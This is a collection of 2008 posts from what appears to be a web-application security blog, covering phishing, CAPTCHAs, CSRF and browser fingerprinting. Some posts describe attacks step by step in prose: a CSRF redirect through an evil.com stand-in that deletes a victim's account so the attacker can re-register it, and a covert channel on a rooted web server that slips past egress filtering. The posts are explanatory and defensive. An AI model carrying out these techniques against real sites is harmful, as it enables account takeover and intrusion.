I was looking at a phishing email last night for OANDA FXTrade. At first glance I could see something a little different about it. Instead of linking directly to the phishing site in the email, it contained an attachment (an html file) that you are supposed to double click on. The page is a flat HTML page, with nothing of substance on it, other than a form that tries to get you to submit your data to http://0x47f865c1/webview/images/fxtrade.php (which automatically redirects you to the correct website, if you go there directly).

That’s a fairly clever implementation of a phishing email, because the phishing page is actually on your local computer, not on the web. So it’s harder for anti-phishing researchers to find anything of interest on the remote computer, or even verify that it is a phishing site. But I think I must be getting a little jaded because as soon as I saw the html file I was actually disappointed. While clever since the HTML file contains the phishing site, why on earth wouldn’t they put malicious code in it? Think about it, if someone is dumb enough to open a HTML file on their local computer, why wouldn’t you use it to install malware or something equally bad? To me it just seemed like a no-brainer. I suspect these malicious techniques will eventually converge, but for now, I don’t think the phishers understood exactly what power they had.

Spammers Hurt The Blind

Posted: May 4th, 2008, 8:59pm CDT by RSnake

Tags: Webappsec [edit]

There’s an interesting link talking about the lawsuit that Rite Aid just settled regarding their accessibility issues. In part it was in regards to their in-store issues, but it was also about their online accessibility, specifically around CAPTCHAs. So I spent a little time doing some more research into other issues around CAPTCHAs and the blind and in fact there are even concerns around the audio CAPTCHAs for the deaf-blind users.

One thing that was interesting is that many of the sites that have been targeted for law suits and angst have been either online retailers or websites that are heavy text based websites (Typepad, Livejournal, etc…). I guess that makes perfect sense, I just hadn’t thought about it before. I would expect there to be a lot more of this in the future, so if you use CAPTCHAs I’d consider at least getting an audio version, as I’ve discussed countless times. An interesting thought though: spammers have made it harder on the blind. Yet another reason to hate spammers, I guess.

Older Browsers Blocked By PayPal

Posted: May 1st, 2008, 5:52pm CDT by RSnake

Tags: Webappsec [edit]

This news is coming in a little late but I thought it was worth talking about. PayPal apparently is going to start blocking older browsers that it deems as a security risk to it’s own users. Pretty funny in a way - consumers can’t protect themselves so PayPal is having to tell them to upgrade to something that doesn’t come from the Paleozoic era.

There’s an upside to doing this and a few downsides. The obvious upside is that people will be using more current and theoretically more secure browsers that support EV certs and anti-phishing technology. The downsides are that some people seriously cannot afford to buy new equipment, or have chosen older browsers that are less likely to be exploited because no one is writing exploits for them any more. And the worst downside to the browser eco-sphere is an even more homogeneous browser base. I’m not sure if I’m completely in the “this is a good thing for security camp” but it’ll be interesting to see how it plays out over time.

eFashion Security Overview

Posted: May 1st, 2008, 5:06pm CDT by RSnake

Tags: Webappsec [edit]

I was pointed to an interview with Ed Foy of eFashion. It’s a pretty interesting interview about how companies are reeling in a post TJX world. The good news is obviously people like Mr. Foy are paying attention to the problem and trying to do their best to fix it. The issue is everything mentioned into the article has nothing to do with the problems TJX faced. He mentions network access control and Hacker Safe. Hrmm… my personal feelings about the validity of Hacker Safe being anything other than a marketing gimmick aside, security this does not make.

TJX was compromised through WEP, poor network access controls and poor infrastructure, not web compromises. Not that you should ignore the web, definitely not, but throwing a Hacker Safe logo on your site doesn’t do anything for your security other than make you a bit of a joke. Sure, explaining to your customers that you care is important, network security is important, and sure, even a logo on your site explaining that is okay. But it’s no substitute for real security, as TJX found out. I have absolutely nothing against eFashion but just as TJX themselves found out just because you embrace security doesn’t mean you’re good at it.

What Was Your Epiphany?

Posted: April 25th, 2008, 8:22am CDT by RSnake

Tags: Webappsec [edit]

A few weeks ago at RSACon I sat down with Amit Klein and asked him one question that I’ve wanted to ask for a long time. I wanted to know if there was one defining moment in his past that suddenly opened his eyes. More specifically, some event that made him realize that he had stumbled upon knowledge that would lead him down a path that only a very select few would ever travel. I wanted to know that one cathartic event that made him realize the web was extremely vulnerable. I wanted to know this because I wanted to know if there was a common thread between him and some of the other experts in the field.

Amit took his sweet time thinking of a good answer, of course telling me all the while that there was no single defining moment and that the question was harder than it sounds. Yes, yes, Amit, but out with it! He finally began to tell me the first time he messed with a binary. He went in with an editor and changed one word. Expecting it not to work, he ran it, and sure enough it did. To him that was totally amazing that it would work, and suddenly, he realized that there were probably a lot of exploitable things out there similar to that. He also told another story about how he had read the HTTP spec and realized you could put a newline in front of the first line of the HTTP request, which in the future would eventually lead to exploitation.

So then I asked the same question of Dinis Cruz:

I can probably point to three key moments:

- the first was when I was a CTO of an university and one of campus’ IT guys showed me how he was able to access (over the internet) another campus internal network (via a remote shell delivered via one of the earlier IIS exploits)
- the 2nd was when I read back to back the first Hacking Exposed book and really got an understanding of network and application exploitation
- the 3rd was when I realized that my programming background (ZX Spectrum generation, Assembly programming on Amiga/x86, etc..) really allowed me to ‘understand’ Application security (vs network security) AND to write exploits

Jeremiah Grossman also gave his story:

For myself it started almost immediately when I began developing web applications many years ago. I read all the books, walk through the examples, and built websites. Being the natural prankster that I am I immediately saw how others could potentially screw around with the way my application worked, post offense stuff, and just generally cause a poor user experience. At the time I didn’t know to even to call it "security", it was just something that could be done to a webapp. The AHA moment came when I got the feeling that my code was no better or worse than anyone elses.

As I just passed my 800 blog post mark, I realized I had never talked about my moment either, and what better way to talk about it than to talk about other people’s moments as well. Mine was a very vivid point in time in my memory. I had read the HTTP spec and knew the basic principles of how it worked, but one day I followed some guide and telnetted to port 80 for the first time and started typing in commands. The first time I saw a flood of headers fly by my screen was like getting hit in the face with a brick. I just couldn’t deny how powerful that knowledge was and how broken everything must be if it was that simple. I know most people look at HTTP and kinda shrug their shoulders, but for me it was an awakening that made me realize that there is almost no end to the potential and danger that it allows.

I don’t know that I can point to any one particular thread between these experts, but I do know that the net effect was the same. The realization that everything is vulnerable is a pretty profound concept. So? What’s your story?

[WebAppSec] The idea of negative CAPTCHAs

Posted: April 4th, 2008, 4:31am CDT by Heiko

Tags: Webappsec [edit]

Spam and automatic submitters really are a problem. One idea to defend this are CAPTCHAs. CAPTCHAs are noisy images and the user (usually) has to recognize the text in the image and enter it in a field. Although some weak algorithms are already broken, this is a good way to keep junk content away. But as automatic recognition gets better, the CAPTCHAs get more sophisticated, and thus harder to read for humans. CAPTCHAs are annoying. Negative CAPTCHAs The idea of negative CAPTCHAs is not to ask a user to proof that he's human, but reveal that a spam/login robot is a robot (bot). Most bots are really dumb, they crawl the web and enter their junk in every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript. Ned Batchelder has several ideas how to do that in his original post. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, as well. Next step This is the basic idea of negative CAPTCHAs, you can make them more sophisticated with Ned's help. Bookmark to

Add '[WebAppSec] The idea of negative CAPTCHAs' to Del.icio.us

Add '[WebAppSec] The idea of negative CAPTCHAs' to digg

Add '[WebAppSec] The idea of negative CAPTCHAs' to Technorati

Add '[WebAppSec] The idea of negative CAPTCHAs' to Stumble Upon

Join a Religion Via CSRF

Posted: April 3rd, 2008, 3:06pm CDT by RSnake

Tags: Webappsec [edit]

Okay, I waited long enough to tell this story, but it’s funny enough that it’s worth it. At SOURCE Boston, Jeremiah, Mark Kranack and I were sitting around talking and apparently at one point long ago he had started a religion. The religion was simple, all you had to do was accept Mark as your god and that’s that. No fees, no prayers, no nothing, just accept him as your god. You don’t even have to do it on purpose, one guy joined by accident as a matter of fact by inadvertantly saying that Mark was his god as he described it. There’s no way to get kicked out of his religion and nothing really special about it in any way beyond the religious leader, of course. You can still find a reference to it on the internet archive.

Then we got to talking and laughing and ultimately came up with a CSRF joke of all time. We could get tens of thousands, maybe hundreds of thousands, or even millions of people to join through CSRF via images to forms on MySpace, or what have you. You see, there is a bit of a bug in the acceptance program of Kraynackism. You don’t have to necessarily “say” that Mark is your God it turns out, you just have to somehow indicate it to him, either intentionally or inadvertantly as we saw with his friend. We could turn Kraynackism into the fastest growing religion the world has ever seen! You could be a member right now and you wouldn’t even know it!

It’s funny but it’s less funny when you talk about getting people arrested in China as we talked about a long time ago or of course going to jail for child porn, etc… Funny and scary all at the same time.

A Funny Look Into Our Future

Posted: March 28th, 2008, 5:55pm CDT by RSnake

Tags: Webappsec [edit]

I was having our weekly cigar meeting with the local security guys when we stumbled across a pretty funny thought. There’s a pretty good paper put out by Cybersource about trends for 2008 in which it had a graph showing that as a percentage of online transactions fraud was dropping. Whoah! That’s not what I expected to hear. But then in closer examination that’s a red herring, because total fraud is still increasing at the same rate it always has. Not so good after-all, it just means consumer spending is out pacing the bad guys. That makes it worth being in the business of online retailing, but spending will eventually taper off with population growth.

The funny part of the story is what if all the consumers finally hit a tipping point where they just decided to go home and stop using the Internet completely? What if we just had bad guys trying to phish bad guys, and spammers just trying to spam other spammers? What would the Internet be when every page was a scam and every person on it was desperate for money because all the people who they wanted to scam went outside to go play in the grass? A funny thought! Hey, we were having cigars, sue us for getting a little off topic!

Mozilla Fixes Referrer Spoofing Issue

Posted: March 28th, 2008, 10:01am CDT by RSnake

Tags: Webappsec [edit]

Good for Mozilla - they recently fixed a very odd referrer spoofing issue that I was talking about back in January. It wasn’t exactly ten days, but who’s counting. But referring URLs are a tricky beast. I see them being relied on an awful lot. I also see a lot of misbehaving robots in my logs that seem to think they understand what a referring URL is, but yet… they don’t.

One good example are robots that forget how Google works: http://google.com instead of http://www.google.com/ (notice the “www.” and the trailing slash are missing.) Also spammers, please note that as of today and every other day I have checked I have never once been a link on the front page of Google’s website and if it did happen, there will be a great earthquake; and the sun will become black as sackcloth of hair, and the moon will become as blood, so we best not even talk about such things. There’s tons of this garbage in my logs all day long. It’s almost surprising to me that the bad guys would bother. If anything it makes it stand out like a sore thumb. Yet, I do see companies making security decisions based on referring URLs. Kinda scary given how many reasons referring URLs might be wrong or non existent.

As a side note, when I attempted to use the :username@ trick for phishing it did not silently drop the username, it actually redirected me to the search engine, which is actually pretty appropriate behavior given that it’s malformed. I’m glad someone was able to reproduce it because I had a hard time proving to myself that it was even something widespread enough to talk about. Anyway, Kudos to Mozilla for the patch!

Yahoo Mail Gives Users Trojan Horses

Posted: March 18th, 2008, 9:33am CDT by RSnake

Tags: Webappsec [edit]

I got this picture from a reader of the site. Apparently the reader was simply viewing Yahoo mail and poof, RogueIframe trojan. We are starting to see a lot more of this kind of stuff, but it’s really disappointing that third party ads are being displayed on otherwise sensitive apps (or at least I think most people feel they are sensitive). Here’s the picture:

Click to enlarge

We’ve seen this exact hack hit before, against Facebook. But I think this kind of thing may be the beginning of a epidemic. As long as you can end up with your advertisements on any site that is even vaguely sensitive, you can start either taking over the site, or delivering malware. Whatever best suits the attacker’s needs. I think this all goes back Tom Stripling’s speech at OWASP where he in painstaking detail explained why you cannot trust third party JavaScript on your site, and yes, that definitely includes advertisements. Anyway, I hope this gets cleaned up quickly.

[WebAppSec] Sign-in seals against phishing

Posted: March 13th, 2008, 12:48pm CDT by Heiko

Tags: Webappsec [edit]

There's a new sign-in seal on the Yahoo! login page, which is intended to make phishing attacks more unlikely.

A sign-in seal is a secret message or photo that Yahoo! will display on this computer only. Look for it every time you sign in to make sure you're on a genuine Yahoo! site. If the message, photo, or colors are different, you may have landed on a phishing site.

There might be other techniques to fight phishing, but it is certainly smart to raise awareness. And the technology behind it is clever too. Of course a normal browser cookie would go away from time to time when you (or the browser) clear your cookie cache. So Yahoo! uses so-called Flash SharedObjects which are sort of Flash cookies. They're available cross-browser, and they won't go away normally, because not many people are aware of how to clear these objects.

Bookmark to

Add '[WebAppSec] Sign-in seals against phishing' to Del.icio.us

Add '[WebAppSec] Sign-in seals against phishing' to digg

Add '[WebAppSec] Sign-in seals against phishing' to Technorati

Add '[WebAppSec] Sign-in seals against phishing' to Stumble Upon

Human CAPTCHA Breaking

Posted: March 11th, 2008, 1:16pm CDT by RSnake

Tags: Webappsec [edit]

After almost a year, I’ve decided to re-visit an old post I wrote regarding solving CAPTCHAs for cash. Specifically, people that want to use Google or Yahoo to spam, by automatically signing up for thousands of email accounts which requires humans to solve CAPTCHAs for them. According to MessageLabs, webmail based spam represents approximately 4.2% of all spam on the Internet - pretty significant.

There have been a number of articles on the Internet about automatic solutions to CAPTCHAs, but honestly, I find those stories somewhat dubious at best. Firstly, I don’t believe the solution rate is all that high as some people are claiming (it’s possible, but I don’t believe it’s happened for Gmail or Yahoo mail at the moment - if someone has actual proof I’d love to see it), secondly it’s super easy to change an algorithm to make it non-solvable again - keeping the automatic solutions at bay long enough to build another algorithm and so on. Lastly, there are very few people with the sophistication and know how to develop and use these tools as a percentage of the people who spam.

However, none of this issues deter a human CAPTCHA solver. If you remember my last article on this, we were seeing the economics drop significantly to where this is suddenly worthwhile, and if you read the comments of that post even more of these CAPTCHA breaking crews are popping up all over the world. Why wouldn’t they? Someone is willing to pay for it, so why wouldn’t you, if your family needed food? Sure the money may or may not belong to the spammer, but legit or not, the money is still real enough.

That leads me to something I found on the Internet while I was searching for more information on the economics of it. During my searching, I happened across some job offers for CAPTCHA breakers (also known as data entry). The advertisement was pretty intriguing:

Click to enlarge

The way the job offer is written is like it’s a stay at home sales person, or some other sort of semi-professional position. Words per minute, 12 hour shifts, a PayPal account along with an internet connection appear to be the only pre-requisites. I thought it was fascinating. Also, the economics appear to have dropped significantly from the last article I wrote a year ago. Now people are being paid $1/1000 CAPTCHAs solved, rather than five to nine times that, which is pushing this market into different directions due to increased competition. Perhaps there are other additional benefits for using a more expensive Romanian service verses the cheap version the Philippines are offering.

Unfortunately, I haven’t seen the operations personally, so I have to speculate that it’s less about the service and more about the cost of operations in the various countries. If anyone is willing to show me their operation I’d love to see it. In the mean time I think we should think about what exactly CAPTCHAs are offering us, and how we are sponsoring micro-economies in countries based on fraudulent human form filling. Is that really the goal? Is it actually the deterrent we intended? Perhaps we should be looking at other/better options.

Phishme.com Internal Communication

Posted: March 6th, 2008, 9:30am CST by RSnake

Tags: Webappsec [edit]

Well, I’ve had to sit on this info for quite some time but I’m happy to see that Phishme.com is now up and running. Phishme.com is founded by the Intrepidus Group who you may have heard of, with names like Rohyt Belani and Aaron Higbee at the corporate head. What is it? It’s education, but the kind of education that actually works for a change. If you’ve read this site long enough or heard my speeches you probably know I’m not the biggest fan of consumer education. It just isn’t impactful and it doesn’t give enough incentive for people to pay attention and learn. People don’t digest the information and they don’t become armed with the correct information on what to do when faced with an attack. That is until now.

Phishme.com uses a fake phishing attack to simulate what a user might see in a really targeted (Spear-Phishing) attack against the company. Specifically it scrapes the pages of an organization’s website and then sends everyone in the company a phish email to entice them to click on it and give up their credentials. Once the user is phished their information is logged and aggregated for future use by the security team to do further communication with the impacted employees or build further metrics, etc. Screenshot of the interface:

Click to enlarge

Does it work? Preliminary numbers in at least one exercise with 24,000 people say there is a huge drop in the numbers of users who stop clicking on links. In the first run of one experiment 82% opened the email and 64% entered info. In the second 28% opened and 27% entered info and in the third 4.5% opened and 4% entered data. That’s a pretty impressive reduction because it’s actually actionable and it gets people thinking almost immediately about the problem and that it can and will negatively affect them personally. Would you rather phish your users or have the bad guys do it for you? Ethics of owning your own employees aside, I think it’s hugely valuable to know this information.

There are all sorts of legal implications for doing this to your own staff and personally I think those issues are almost completely outweighed by the benefits of solid actionable training. When I talked with Rohyt about this, I get the feeling they’ve spent a lot of time trying to make the interface as difficult as possible to inadvertantly get compromised by trying not to actually transmit the password. So all in all, I think this product is going to do a lot of companies a lot of good. I can think of a dozen or so companies that need to go through this training right now. With phishing attacks becoming a constant and ever present attack, this is a very timely product!

Changing Email Addresses For Spam

Posted: March 5th, 2008, 2:55pm CST by RSnake

Tags: Webappsec [edit]

While looking back at some of my old speeches, and after writing the last blog post it occurred to me there is another attack I haven’t heard anyone talk about. Often times spammers will use contact member forms for spamming purposes. But most contact forms can’t spoof the contact name so this form of spamming is pretty limited. However, let’s consider another common scenario, which is that a user is allowed to change their email address. Almost never is there an email address confirmation link sent to make sure you are indeed the owner of the email address. So let’s take an actual example.

Let’s say Cathy wants to spam Alice, but Alice isn’t a member of the message board. Cathy signs up with two accounts, one to send messages from and one to receive them. Cathy logs in as the second user account and changes her email address to Alice’s. She then logs into the first user account and send the spam, which then gets routed to Alice. Then Cathy logs in to her second account, switches it to the next spam victim, logs back into her first account and sends a second spam and so on.

The limitations here are that the email must actually contain the spam message to work, so if it’s just a link back to the platform, that won’t suffice since Alice isn’t a legitimate user of the system, let alone has access to Cathy’s account. The second problem is that the email probably contains some site specific information which can easily identify the spam as such. And thirdly, many sites send an email change notification to alert users that their email has been changed, so when Cathy switches her address over and over, she will also inadvertantly be sending emails to her victims telling them that she’s switching accounts.

But in this way I believe many existing member to member communication functions can be used as spam gateways. Weird, huh?

Username Based Primary Key Issues

Posted: March 5th, 2008, 10:40am CST by RSnake

Tags: Webappsec [edit]

Okay, I had more trouble naming this post than I did writing it so bear with the title, because I think this is actually a pretty interesting problem. I went out for cigars with a few uber old school hackers from a huge company last night and we got to talking about databases. I’m not exactly sure what lead my brain down the path, but I suddenly realized there’s actually some fairly tricky issues around data deletion/retention that can lead to sensitive information disclosure. Here’s how it works. Let’s say you have three people, Alice, Bob and Cathy. Alice and Bob are both good users of a web site message board. Maybe they have special privileges, or maybe they are just communicating privately and Cathy wants that information.

In a secure database setup, if a user is deleted from a system no other user can take over their information after they are gone from the system. It’s not deleted (for data integrity/forensics, etc…) but it should be inaccessible to users. However, it turns out that not all database structures are made equal. Sometimes people use usernames as primary keys, or hashes of usernames, etc… instead of a non-reputable number. So let’s say Alice had her account deleted (intentionally or accidentally) there is an opportunity for Cathy to create a user account with the same name as Alice’s username and suddenly gain access to the same information that was supposed to be accessible only to Alice.

Let’s take this further and bring back an old favorite and normally not all that interesting attack - DoS by CSRF - that is forcing a user to click on a “delete my account” link. Typically DoS isn’t all that interesting to me, but here’s where you can actually use it to take over the account. This all relies on knowing the username of the person you are attempting to compromise. So let’s say Cathy creates an account on the message board. On a forum she places an image link to http://www.evil.com/x.php?.jpg which looks at the referring URL before making the decision on whether to show a benign image, or redirect the user’s browser via 301 or 302 redirect to the delete user function (eg: http://www.good.com/deluser.php). If the referring URL contains the username “Alice” the Alice user’s browser automatically is redirected and the account is deleted.

At this point Alice is probably almost immediately aware that her account has been deleted, so it is time critical that Cathy immediately registers with the same name “Alice”. Assuming the database uses the registered user as the primary key (or some derivation of the user name) it is possible for Cathy to now assume control over Alice’s account. Now she can read Alice’s private communication with Bob, or if Alice had some administrative controls, it might be possible for her to do other nefarious things, like promote other user’s access, etc…

There is an alternative to trying to detect Alice’s name in a referring URL. One example is if images can be sent within private messages or other out of band communications, assuming Alice is already logged in it will have the same net effect of targeting the individual user. It’s also fairly easy to detect this in a blackbox situation simply by creating an account, using all the functions, deleting it and re-creating the same name to see if any data was retained during the creation of the account. The point being, it’s bad form to use a username as a primary key unless it’s forever off limits for future users attempting to re-assume that username. Kind of an esoteric problem, but as I talked with the gurus, at least one of them had actually seen this happen in his own penetration tests against some very large well known companies. So there you have it, it’s not even just a theoretical attack. Yet another thing to look out for and at least one good reason to protect account deletion functions from CSRF.

Certification for Web Application Security

Posted: February 28th, 2008, 6:37pm CST by RSnake

Tags: Webappsec [edit]

Anurag is the man behind a new web application security certification. Offered as a joint WASC/SANS cert, it’s aiming to be the de-facto web application certification program for people in our field. Regulating the industry may not be all that bad of an idea, given that I see more bad security people than good. But beyond that it’s cool to see the industry growing up where it needs full fledged certification.

Anyway, if you want to have some input on things that you’d like to see in the cert, now’s your chance. Click the link above and go to his surveymonkey link and spend a few minutes filling it out if this is at all interesting to you. Speak now or forever hold your peace.

Now the real question is, I wonder if I’ll pass this cert. Hey, Anurag, can I get some sort of an exemption? I never was very good at test taking!

Permalink for 'ha.ckers.org_web_application_security_lab/2008/02/02/CSRF__Yup__It%e2%80%99s_Real_Folks'

CSRF, Yup, It’s Real Folks

Posted: February 2nd, 2008, 11:52am CST by RSnake

Tags: Webappsec [edit]

Arian Evans has sent me a few emails on this, so to get him off my back I’m going to do a quick post about CSRF (Cross Site Request Forgeries). Yes, it’s real, it’s used, and it’s far more dangerous than most people give it credit for. First, let’s re-cap the news. A CSRF in Gmail allowed some poor guy’s domain to get hijacked. Not too surprising, knowing how poor Google’s security is. Now, how about this one where a pharming attack was spotted in the wild that leveraged CSRF to take over victims’ routers and send all packets bound for a Mexican banking site instead to the attacker. Zulfikar Ramzan at Symantec fails to mention that much of that concept was based on my original technique which was to for the purpose of “breaking into a router” in his previous post, but alas. I like Zulfikar, so I won’t harp on him too much for missing that one.

I cannot stress more how dangerous CSRF is. “One click attacks” are not even one click in most cases. You can simply visit a web board and instead of seeing an off domain image, you are invisibly having your router get re-routed, your credit card that’s on file with XYZ.com being used for purchases, your user preferences or passwords get changed and so on. I’ve seen a number of examples of CSRF in the wild now beyond this (it’s even been used against me), and I see no reason to believe this attack is going to decrease in likelihood or as a threat in general anytime in the near future. CSRF is here to stay. It’s how the Internet was built and it’s not changing any time in the near future.

Permalink for 'ha.ckers.org_web_application_security_lab/2008/02/02/Schmoilito%e2%80%99s_Way_Is_Hacking_Via_Local_Apps'

Schmoilito’s Way Is Hacking Via Local Apps

Posted: February 2nd, 2008, 11:24am CST by RSnake

Tags: Webappsec [edit]

I got an email from Schmoilito about some posts he did regarding Intranet hacking. Check them out here and here. There’s quite a bit of content there, surrounding how MSXML can be used to hack not Intranets, but local files as it provides a more robust infrastructure for doing local file reading. MSXML.XMLHTTP apparently doesn’t just pull remote files, but it can also be used to pull in file:// and read from local disc! Whoops! Time to lock that down if you use it. I guess we never really thought about zone escalation in a website’s requests. Erg!

The second post talks more about using timing attacks to do enumeration of open ports on the remote system, which I did cover in the comments of the original post on this topic. It’s cool to see that someone has been able to see and re-produce my theoretical attack in the lab. I have a feeling we’re going to end up seeing a lot more of these types of things in the wild. Nasty. Nice job, Schmoilito!

Subversive JS for FileSharing

Posted: February 2nd, 2008, 11:15am CST by RSnake

Tags: Webappsec [edit]

It’s been a long week but it’s not for naught. Lots to talk about, but not a lot of time to write it all. So let’s start with something I’ve been toying with for the last few days. Dan Kaminksy is one of those guys who is always looking for ways to build bit torrent with whatever technologies are available. It suddenly occurred to me that it’s actually possible under some very specific circumstances with existing technologies and a little trickery to use someone’s browser as a seeder in a convoluted scenario where you need to transfer a file to many people at the same time but bandwidth is at a premium.

So, welcome to building subversive file sharing with client side applications. The first question id asked me was if I was going to build it and speak about it at Blackhat or something. The answer is emphatically no way. It would take quite a bit of work to build it in any sort of reliable way (it’s not above the readers of this site, I’m sure, but it’s well outside of the time I have to devote to something like this). Anyway, in case anyone was wondering, yes, you can build file sharing in JavaScript. Painful, yes, but definitely possible.

Process Doubling

Posted: January 27th, 2008, 4:44pm CST by RSnake

Tags: Webappsec [edit]

I was working on a client a week ago or so and we completely compromised their network. It’s a fairly common occurrence during an audit (given there are logistical reasons that make many common techniques off limits). It was mission accomplished for showing the vulnerabilities in the client. However, I started thinking about the firewall egress filtering, or lack thereof. Granted, creating a reverse shell is fairly straight forward, but what if the situation was slightly different. What if there was egress filtering and I ended up rooting a web server? And in this situation let’s pretend that it was set up so that all that’s allowed out is port 80 and 443. What now? I can’t kill the web server, or people will certainly notice, and I can’t tunnel out on any other ports which are already locked up by the web server, so what alternative do I have?

Sure, I could use some of the modern rootkits that talk outside of the TCP by sending single packets but some anti-DDoS boxes out there stop that sort of connection from even hitting a box. They do this for flood protection. They wait for a full TCP state to be initiated before they connect to the web server behind them (similar to a proxy server actually).

Here’s where some programming skill could come into play. Why not re-program a web-server to also listen as if it were an IRC server or telnet or something else for back and forth real-time communication. We already have root access, so it’s easy enough to start and stop the process. It’s also fairly easy with some programming to create a switch in the code, to look for a different string and jump into a different mode. It could be a clever way around a fairly complex set of circumstances. Anyway, yet another odd thought.

IP Addresses Are Considered Personally Identifiable Information in the EU

Posted: January 22nd, 2008, 9:39am CST by RSnake

Tags: Webappsec [edit]

There’s a very interesting report out on the fact that IP addresses are now potentially considered personally identifiable information in the EU. Whoah! I’m sure people can think of their own reasons this might be a big deal, but here is just a small smattering of stuff that I came up with:

Advertising: banner ads are almost always pulled from a third party. That third party gets things like referrers and, what else, IP addresses! Sorry, say goodbye to third party ad revenue! Yes, that means you, Adsense and Overture! People can no longer leak that information to you as it’s PII!

Tracking Pixels: tracking pixels are used by companies all over the world because it’s often easier than dealing with their own logs and buying and configuring their own log analysis software (especially if they get a lot of traffic). So Omniture and Google’s Urchin could be hard hit here.

Embedded content: There are tons of bulletin boards, message boards, blogs, etc… out there that allow images to be posted off host. People like it because it doesn’t force them to have to build upload scripts, and maintain them. Sorry, no more embedded content, and that includes things like Youtube because that would leak the people’s IP addresses to third parties. Also, things like Gmodules which often pull in content from other domains would be a big no no without some changes. Same with Google cache, translation services, etc… etc…!

There’s dozens of issues out there, but you’ll notice that this particular issue would wreak havoc on Google’s business model if it’s ever fully enforced. It’ll be interesting to see how this plays out and if there is any other tricky way people can use to get around this (like hashing the IP or stripping off the last bits - which is mentioned in the last part of the article but probably isn’t much actual protection since that only makes it 255 times harder to guess at best). This is one to watch folks!

Moto Q9 DoS and Fingerprinting

Posted: January 12th, 2008, 12:10pm CST by RSnake

Tags: Webappsec [edit]

So I got a new smart phone, which has been highly entertaining when I’m stuck in airports, or waiting for meetings or whatever. It’s a Moto-Q9. Boy is it sexy - lots of features, fairly fast. It kinda reminds me of what Windows95 used to be - usable but not fast. It has the new version of Microsoft’s mobile operating system on there with direct push on there (similar to Blackberry which saves battery life, I’m sure, for real time email), a 2mega pixel camera, etc… etc… Fun little toy. So id and I were driving around town and I was messing with my phone as he drove and it suddenly occurred to me, I had never really toyed with the browser. So I start messing around with the settings, and of course turn off JavaScript. But then I realized, I had never tested it with JavaScript turned on. That’s when I went to Mr. T. What did Mr. T do to the Moto Q9 (which is running Opera, by the way)? It crashed it immediately.

So then I start messing around with it, and I narrow it down to one of the things that’s more legacy than anything, the now fixed, MS mhtml bug. Uh oh. Yup, the mhtml bug appears to crash mobile Opera instantly. So back to keeping JS turned off, I guess (I haven’t tested if there is another way to cause the crash using a redirection or an iframe, but it takes a long time to test, so I’ll leave that to another day).

Then I start messing with the other options, like the “Identify as” function. With it turned to “handheld device” the user agent reads, “MOT-Q9/01.04.35R Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; Smartphone; 320×240) Opera 8.65 UP.Link/6.3.1.17.0″. Eesh! It gives my actual device type! So then I turn the setting to “desktop computer” it turns to “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Opera 8.65 [en] UP.Link/6.3.1.17.0″. Okay, fair enough, that appears to be the more secure setting as at least it doesn’t say the revision and model number of the phone.

That is, of course, until you look at the rest of the headers:

HTTP_ACCEPT = application/xhtml+xml, application/vnd.wap.xhtml+xml, text/html, text/vnd.wap.wml, application/vnd.wap.wmlc, */*,text/x-hdml,image/mng,image/x-mng,video/mng,video/x-mng,image/bmp,text/html
HTTP_ACCEPT_CHARSET = iso-8859-1, utf-8, utf-16, *;q=0.1,*
HTTP_ACCEPT_ENCODING = deflate, gzip
HTTP_ACCEPT_LANGUAGE = en
HTTP_CACHE_CONTROL = no-cache
HTTP_USER_AGENT = Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Opera 8.65 [en] UP.Link/6.3.1.17.0
HTTP_VIA = 1.1 alnmagr1fe09WAP2-mbl
HTTP_X_UP_DEVCAP_ACCEPT_LANGUAGE = en
HTTP_X_UP_DEVCAP_CHARSET = utf-8,ISO-8859-1,US-ASCII,UTF-16,GB2312,BIG5
HTTP_X_UP_DEVCAP_ISCOLOR = 1
HTTP_X_UP_DEVCAP_NUMSOFTKEYS = 2
HTTP_X_UP_DEVCAP_SCREENDEPTH = 16
HTTP_X_UP_DEVCAP_SCREENPIXELS = 320,240
HTTP_X_UP_DEVCAP_SMARTDIALING = 1
HTTP_X_UP_SUBNO = ppu_105cb54061e_vmag.mycingular.net
HTTP_X_WAP_PROFILE = “[uaprof.motorola.com]

Okay, so now we know my provider how big my screen is, that it’s a mobile device of course (the reference to wap), but more importantly we get the actual profile of the phone in the RDF file with all the settings, so you know exactly what may or may not work against the phone! Geez! Talk about giving up too much info! I hardly consider myself a cell phone hacker (for that you’ll need to talk with the Flexilis guys) but in 5 minutes I found all that - that’s not a good start. Whelp, so much for surfing from my phone!

Top Web Hacks For 2007 - Call For Links

Posted: January 8th, 2008, 3:57pm CST by RSnake

Tags: Webappsec [edit]

If you remember last year, Jeremiah, Zeno and I threw together the list for the top web hacks for 2006. It was a glorious age, where I had lots more spare time on my hands than I do now. Alas… Anyhow, instead of us giving our opinions to you, we felt it was far better for you to give your opinions to us. So Jeremiah threw up an abbreviated list of potential candidates for 2007.

Jeremiah will cull them all together and then we’ll put it to a vote. This doesn’t include hacks against websites, but rather new techniques that further the webappsec field. Anyway, it should be fun to see the results! No hacking the polling booth now, kids!

Buy Diggs and Votes on StumbleUpon

Posted: January 3rd, 2008, 6:32pm CST by RSnake

Tags: Webappsec [edit]

There’s an interesting site called Subvert and Profit where the owner claims to sell diggs and votes on stumbleupon for traffic generation. Selling at $1 per vote/digg the goal is to monetize that traffic through various marketing campaigns or traffic arbitraging. Pretty interesting business model, and at worst it’s against the ToS of the various companies - it’s probably not illegal in any way. Blackhat SEM at it’s finest. It’s really not much different than buying paid links on websites if you think about it.

Some of the testimonials on the Subvert and Profit blog are pretty telling, such as, “the mind-boggling barrage of traffic which comes next, is nothing less than euphoric”. I can definitely agree that the volume of traffic from digg and stumbleupon, as well as reddit dwarfs slashdotting in our experience. Traffic arbitrage is here to stay, as long as the margins stay there. Pretty interesting!

Phishing Using FasterFox Prefetching

Posted: January 3rd, 2008, 10:18am CST by RSnake

Tags: Webappsec [edit]

I actually had to read this email several times before I got it - paranoia taking over - I thought I was being told my site was hacked. No no, just another interesting way to abuse people that people find when visiting my site. This time, this email comes from Alex who found that pre-fetching can be used to phish users in certain circumstances.

When I’m visiting ">http://ha.ckers.org/blog/20070608/cross-domain-basic-auth-phishing-tactics/

